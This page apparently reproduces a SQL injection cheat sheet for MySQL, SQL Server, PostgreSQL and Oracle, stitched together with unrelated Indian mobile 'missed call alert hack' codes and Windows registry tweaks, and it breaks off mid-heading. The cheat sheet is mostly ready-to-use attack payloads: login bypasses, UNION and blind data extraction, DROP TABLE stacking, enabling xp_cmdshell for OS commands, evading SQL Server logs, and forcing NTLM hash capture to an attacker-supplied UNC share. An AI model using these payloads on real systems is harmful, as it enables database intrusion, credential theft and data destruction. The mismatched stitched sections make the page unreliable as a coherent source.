About SQL Injection Cheat Sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.
M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
• (MS) means : MySQL and SQL Server etc.
• (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server
Table Of Contents
1. About SQL Injection Cheat Sheet
2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
1. Line Comments
 SQL Injection Attack Samples
2. Inline Comments
 Classical Inline Comment SQL Injection Attack Samples
 MySQL Version Detection Sample Attacks
3. Stacking Queries
 Language / Database Stacked Query Support Table
 About MySQL and PHP
 Stacked SQL Injection Attack Samples
4. If Statements
 MySQL If Statement
 SQL Server If Statement
 If Statement SQL Injection Attack Samples
5. Using Integers
6. String Operations
 String Concatenation
7. Strings without Quotes
 Hex based SQL Injection Samples
8. String Modification & Related
9. Union Injections
 UNION – Fixing Language Issues
10. Bypassing Login Screens
11. Enabling xp_cmdshell in SQL Server 2005
12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.
Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
• -- (SM)
DROP sampletable;--
• # (M)
DROP sampletable;#
Line Comments Sample SQL Injection Attacks
• Username: admin'--
• SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
• /*Comment Here*/ (SM)
• DROP/*comment*/sampletable
• DR/**/OP/*bypass blacklisting*/sampletable
• SELECT/*avoid-spaces*/password/**/FROM/**/Members
• /*! MYSQL Special SQL */ (M)
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
• ID: 10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
• SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
• ID: /*!32302 10*/
• ID: 10
You will get the same response if MySQL version is higher than 3.23.02
• SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
• ; (S)
SELECT * FROM members; DROP members--
Ends a query and starts a new one.
Language / Database Stacked Query Support Table
green: supported, dark gray: not supported, light gray: unknown
SQL Server MySQL PostgreSQL ORACLE MS Access
ASP
ASP.NET
PHP
Java

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
Stacked SQL Injection Attack Samples
• ID: 10;DROP members --
• SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.
If Statements
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
MySQL If Statement
• IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')
SQL Server If Statement
• IF condition true-part ELSE false-part (S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Using Integers
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
• 0xHEXNUMBER (SM)
You can write hex like these;

SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)
String Operations
String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
String Concatenation
• + (S)
SELECT login + '-' + password FROM members
• || (*MO)
SELECT login || '-' || password FROM members
*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.
• CONCAT(str1, str2, str3, ...) (M)
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members
Strings without Quotes
These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
• 0x457578 (M) - Hex Representation of string
SELECT 0x457578
This will be selected as string in MySQL.

In MySQL easy way to generate hex representations of strings use this;
SELECT CONCAT('0x',HEX('c:\\boot.ini'))
• Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return ‘KLM’.
• SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
This will return ‘KLM’.
Hex based SQL Injection Samples
• SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
This will show the content of c:\boot.ini
String Modification & Related
• ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

SELECT ASCII('a')
• CHAR() (SM)
Convert an integer of ASCII.

SELECT CHAR(64)
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – Fixing Language Issues
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
• SQL Server (S)
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
• MySQL (M)
Hex() for every possible issue
Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks
• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--
• ....
• Login as different user (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries
Bypassing second MD5 hash check login screens
If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)
In the same order,
• ' HAVING 1=1 --
• ' GROUP BY table.columnfromerror1 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
• If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY (MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
• ORDER BY 1--
• ORDER BY 2--
• ORDER BY N-- so on
• Keep going until get an error. Error means you found the number of selected columns.
Data types, UNION, etc.
Hints,
• Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
• To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
• Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
Finding Column Type
• ' union select sum(columntofind) from users-- (S)
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

If you are not getting error it means column is numeric.
• Also you can use CAST() or CONVERT()
o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
• 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
• 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
• 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.
• 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
• 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...

Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors ! So start with convert() then union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)
Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
1. Create table foo( line varchar(8000) )
2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
3. Drop temp table, and repeat for another file.
BCP (S)
Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Executing system commands, xp_cmdshell (S)
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell 'ping '
You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)
• Error Messages
master..sysmessages
• Linked Servers
master..sysservers
• Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins
More Stored Procedures for SQL Server (S)
1. Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir'
2. Registry Stuff (xp_regread)
1. xp_regaddmultistring
2. xp_regdeletekey
3. xp_regdeletevalue
4. xp_regenumkeys
5. xp_regenumvalues
6. xp_regread
7. xp_regremovemultistring
8. xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
3. Managing Services (xp_servicecontrol)
4. Medias (xp_availablemedia)
5. ODBC Resources (xp_enumdsn)
6. Login mode (xp_loginconfig)
7. Creating Cab Files (xp_makecab)
8. Domain Enumeration (xp_ntsec_enumdomains)
9. Process Killing (need PID) (xp_terminate_process)
10. Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver
11. Write text file to a UNC or an internal path (sp_makewebtask)
MSSQL Bulk Notes
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.
SQL Injection in LIMIT (M) or ORDER (MSO)
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
Shutdown SQL Server (S)
When you really pissed off, ';shutdown --
Enabling xp_cmdshell in SQL Server 2005
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
Finding Database Structure in SQL Server (S)
Getting User defined Tables
SELECT name FROM sysobjects WHERE xtype = 'U'
Getting Column Names
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Moving records (S)
• Modify WHERE and use NOT IN or NOT EXIST,
... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
• Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Detailed Article : Fast way to extract data from Error Based SQL Injections
Blind SQL Injections
About Blind SQL Injections
In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
Real and a bit Complex Blind SQL Injection Attack Sample
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
TRUE and FALSE flags mark queries returned true or false.
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--
Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

Waiting For Blind SQL Injections
First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
WAIT FOR DELAY 'time' (S)
This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also you can use fractions like this,
WAITFOR DELAY '0:0:0.51'
Real World Samples
• Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
• ProductID = 1;waitfor delay '0:0:10'--
• ProductID =1);waitfor delay '0:0:10'--
• ProductID =1';waitfor delay '0:0:10'--
• ProductID =1');waitfor delay '0:0:10'--
• ProductID =1));waitfor delay '0:0:10'--
• ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Real World Samples
• Are we root ? woot!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
• Check Table exist in MySQL
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds) (P)
Sleep for supplied seconds.
• SELECT pg_sleep(10);
Sleep 10 seconds.
Covering Tracks
SQL Server -sp_password log bypass (S)
SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
Clear SQL Injection Tests
These tests are simply good for blind sql injection and silent attacks.
1. product.asp?id=4 (SMO)
a. product.asp?id=5-1
b. product.asp?id=4 OR 1=1
2. product.asp?name=Book
a. product.asp?name=Bo’%2b’ok
b. product.asp?name=Bo’ || ’ok (OM)
c. product.asp?name=Book’ OR ‘x’=’x
Some Extra MySQL Notes
• Sub Queries are working only MySQL 4.1+
• Users
o SELECT User,Password FROM mysql.user;
• SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
• SELECT ... INTO DUMPFILE
o Write query into a new file (can not modify existing files)
• UDF Function
o create function LockWorkStation returns integer soname 'user32';
o select LockWorkStation();
o create function ExitProcess returns integer soname 'kernel32';
o select exitprocess();
• SELECT USER();
• SELECT password,USER() FROM mysql.user;
• First byte of admin hash
o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
• Read File
o query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
• MySQL Load Data inifile
o By default it’s not avaliable !
 create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
• More Timing in MySQL
• select benchmark( 500000, sha1( 'test' ) );
• query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
• select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
Enumeration data, Guessed Brute Force
o select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
Potentially Useful MySQL Functions
• MD5()
MD5 Hashing
• SHA1()
SHA1 Hashing
• PASSWORD()
• ENCODE()
• COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
• ROW_COUNT()
• SCHEMA()
• VERSION()
Same as @@version
Second Order SQL Injections
Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com
If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
Forcing SQL Server to get NTLM Hashes
This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
Check out Bulk Insert Reference to understand how can you use bulk insert.
References
Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.
• Lots of Stuff
o Advanced SQL Injection In SQL Applications, Chris Anley
o More Advanced SQL Injection In SQL Applications, Chris Anley
o Blindfolded SQL Injection, Ofer Maor – Amichai Shulman
o Hackproofing MySQL, Chris Anley
o Database Hacker's Handbook, David Litchfield, Chris Anley, John Heasman, Bill Grindlay
o Upstairs Team!
• MSSQL Related
o MSSQL Operators - http://msdn2.microsoft.com/en-us/library/aa276846(SQL.80).aspx
o Transact-SQL Reference - http://msdn2.microsoft.com/en-us/library/aa299742(SQL.80).aspx
o String Functions (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms181984.aspx
o List of MSSQL Server Collation Names - http://msdn2.microsoft.com/en-us/library/ms180175.aspx
o MSSQL Server 2005 Login Information and some other functions : Sumit Siddharth
• MySQL Related
o Comments : http://dev.mysql.com/doc/
o Control Flows - http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html
o MySQL Gotchas - http://sql-info.de/mysql/gotchas.htm
o New SQL Injection Concept, Tonu Samuel
ChangeLog
• 15/03/2007 - Public Release v1.0
• 16/03/2007 - v1.1
o Links added for some paper and book references
o Collation sample added
o Some typos fixed
o Styles and Formatting improved
o New MySQL version and comment samples
o PostgreSQL Added to Ascii and legends, pg_sleep() added blind section
o Blind SQL Injection section and improvements, new samples
o Reference paper added for MySQL comments
• 21/03/2007 - v1.2
o BENCHMARK() sample changed to avoid people DoS their MySQL Servers
o More Formatting and Typo
o Descriptions for some MySQL Function
• 30/03/2007 v1.3
o Niko pointed out PotsgreSQL and PHP supports stacked queries
o Bypassing second MD5 check login screens description and attack added
o Mark came with extracting NTLM session idea, added
o Detailed Blind SQL Exploitation added
• 13/04/2007 v1.4 - Release
o SQL Server 2005 enabling xp_cmdshell added (trick learned from mark)
o Japanese version of SQL Injection Cheat Sheet released (v1.1)

FREE MISSED CALL HACK

************Tata Docomo Free Missed Call Alert Hack*****************

Free missed call Alert for TATA Docomo

just type ‘SUB’ and send it to 52244 (toll free).

and Enjoy………

**************Free Airtel Missed Call Alert Hack*******************

What is Missed Call Alert?

When your phone is Switch Off or Out of Reach, You will be notified via SMS when you will switch on your phone or you get back your network. To avail follow the instructions given below:

* To activate dial : *62*675# and press call button.

* To deactivate dial : #62# and press call button.

FREE MISS CALL ALERT FOR MUMBAI
Just dial **62*+91560# and get free miss call alert 4 lifetime!

FREE MISS CALL ALERT FOR MAHARASHTRA
Just dial **62*+91675# and get free miss call alert 4 lifetime!

FREE MISS CALL ALERT FOR TAMILNADDU
Just dial **62*+919894035100# and get free miss call alert 4 lifetime!

FREE MISS CALL ALERT FOR RAJASTHAN
Just dial **62*+91569# and get free miss call alert 4 lifetime!

FREE MISS CALL ALERT FOR DELHI
Just dial **62*+91564# and get free miss call alert 4 lifetime!

FREE MISS CALL ALERT 4 GUJARAT
Just dial **62*+919824001711# and get free miss call alert 4 lifetime!

Enjoy This Trick!

**************Free Missed Call Alert for Vodafone**************

Free missed call Alert for Vodafone just dial

*62*919899299940#

and enjoy

***************BSNL Missed Call Alert Hack**************

We have an new BSNL Missed call alert hack working allover India. BSNL Cellone is one of the most used mobile networks in India. So to use this trick you have follow these steps

>*62*+9117010#
or make manual call divert to the following number
+9117010

once you configure these settings you can have free missed call alerts in BSNL mobiles even when your switched off or out of coverage.

Or you can use this method:

when you want to talk to someone dear and don’t want anyone to disturb you or rather don’t want anyone to know that your phone is busy or engaged, you just need to do is before making the call activate this by going to call divert function and diverting all voice calls to the number 17010 and after its activated whoever calls you will get to hear that you are not reachable or are out of coverage area. This way you don’t get caught and the best part being that you receive a SMS stating which call u missed.

So enjoy this latest new BSNL trick!

******************Free Aircel Missed Call Alert**************

To know missed call alerts freely in aircel, here a trick for you.

Dial this *62*+919842201006#

or

go to calldivert and divert if out of reach there put this - 9842201006.

****************Free Reliance Missed Call Alert************

Enjoy Free Reliance Missed Call Alert:

Maharashtra +91675
Mumbai +91560
Gujarat +91567
Kerala *62*+91567
Haryana *62*+9017000700
Tamil Nadu *62*+9894035100

***************Free Missed Call Alerts For Idea************

Free missed call alerts….

Delhi:
*62*+919891004748#

Rajasthan:
*62*+919887040012#
Maharashtra:
*62*+919822001711#
Kerala:
*62*+919847926340#
Bihar & Jharkhand:
*62*+919708002800#
Gujarat:
*62*+919824001711#

Geek Signs

Internet Explorer As Fast As FireFox

Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to key HKEY_CURRENT_USER\Software\microsoft\Windows\ Current Version \InternetSettings. Right click on the right windows--)New --)DWORD.Type MaxConnectionsPerServer.You can set value (the more higher the no, the more good speed eg:99). Create another DWORD >type MaxConnectionsPer1_0Server . Then put a high value as mentioned above. Restart I.E and you are done.

Mozilla Firefox 3.5 Download

Click HERE to Download Mozilla Firefox 3.5 For More Surfing Speed and Many More Features.

Add Specific Folders to Open Dialog Box

When you use certain Windows applications (such as Notepad) to open a file, on the left side of the Open dialog box are a group of icons and folders (such as My Documents, My Recent Documents, Desktop, My Computer, and My Network) to which you can navigate to open files. A registry hack will let you put just the folders of your choosing on the left side of the Open dialog box.

Note that when you do this,it will affect XP applications such as Notepad and Paint that use the Open and Save common dialog boxes. However, it won’t affect Microsoft Office applications and other applications that don’t use the common dialog boxes. Run the Registry Editor and go to HKEY_CURRENT_USER \Software \Microsoft \Windows \CurrentVersion \Policies\comdlg32. This is the key that determines how common dialog boxes are handled.

You’re going to create a subkey that will create a customized location for the folders, and then give that subkey a series of values, each of which will define a folder location.To start, create a new subkey underneath EY_CURRENT_USER\Software\ Microsoft \Windows \CurrentVersion\Policies\comdlg32 called Placesbar, and create a String value for it named Place0. Give Place0 a value of the topmost folder that you want to appear on the Open dialog box, for example, C:\Projects. Next, create another String value for Placesbar called Place1. Give it a value of the second folder that you want to appear on the Open dialog box. You can put up to five icons on the Open dialog box, so create new String values up to Place4 and give them values as outlined in the previous steps. When you’re done, exit the Registry. You won’t have to reboot for the changes to take effect.

If you do not want any folders to appear in common Open dialog boxes,you can do that as well. In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ comdlg32, create a new DWORD value called NoPlacesBar and give it a value of 1. Exit the Registry. If you want the folders back, either delete NoPlacesBar or give it a value of 0.

Re-Title Internet Explorer

By default, Internet Explorer's title bar shows the name of the Web site you 're viewing, followed by "Microsoft Internet Explorer"--or in some cases, your company's name or the name of the ISP that supplied the browser. To change the repeating text in IE's title bar (or to get rid of it altogether), navigate to and select HKEY_CURRENT_USER\ Software\ Microsoft\Internet Explorer\Main in the Registry Editor, and double-click the Window Title icon in the right pane. (If you don't see this icon, right-click in the pane, choose New, String Value, type Window Title, and press .) Type what you want to see on IE's title bar, or type nothing to show only the site name. Note that the hyphen that normally separates the site name from the page title will remain. When you relaunch Internet Explorer, you will see the change.

Quick Start For Start Menu

A simple Registry tweak can give speed up your start menu and sub-menus. Open the Registry Editor, and navigate to and select:

HKEY_CURRENT_USER\Control Panel\Desktop .

Double-click the MenuShowDelay icon on the right, and change 'Value data' from its default of 400 (milliseconds) to something speedier, like 0. When you have finished, press Enter.

Stop Noise While Burning CDs

When using 3rd party burning software (eg, Nero ) to copy audio CD,some noise may be heard at the end of each track. To prevent this,try the following method:

1. Enter System Properties\device manager

2. Select IDE ATA/ATAPI controllers

3. Double click on thee CD writer IDE channel

4. Select advance setting

5. Change the transfer mode to 'PIO Only'

6. Restart Computer

Speed Up the Dual-Boot Timeout

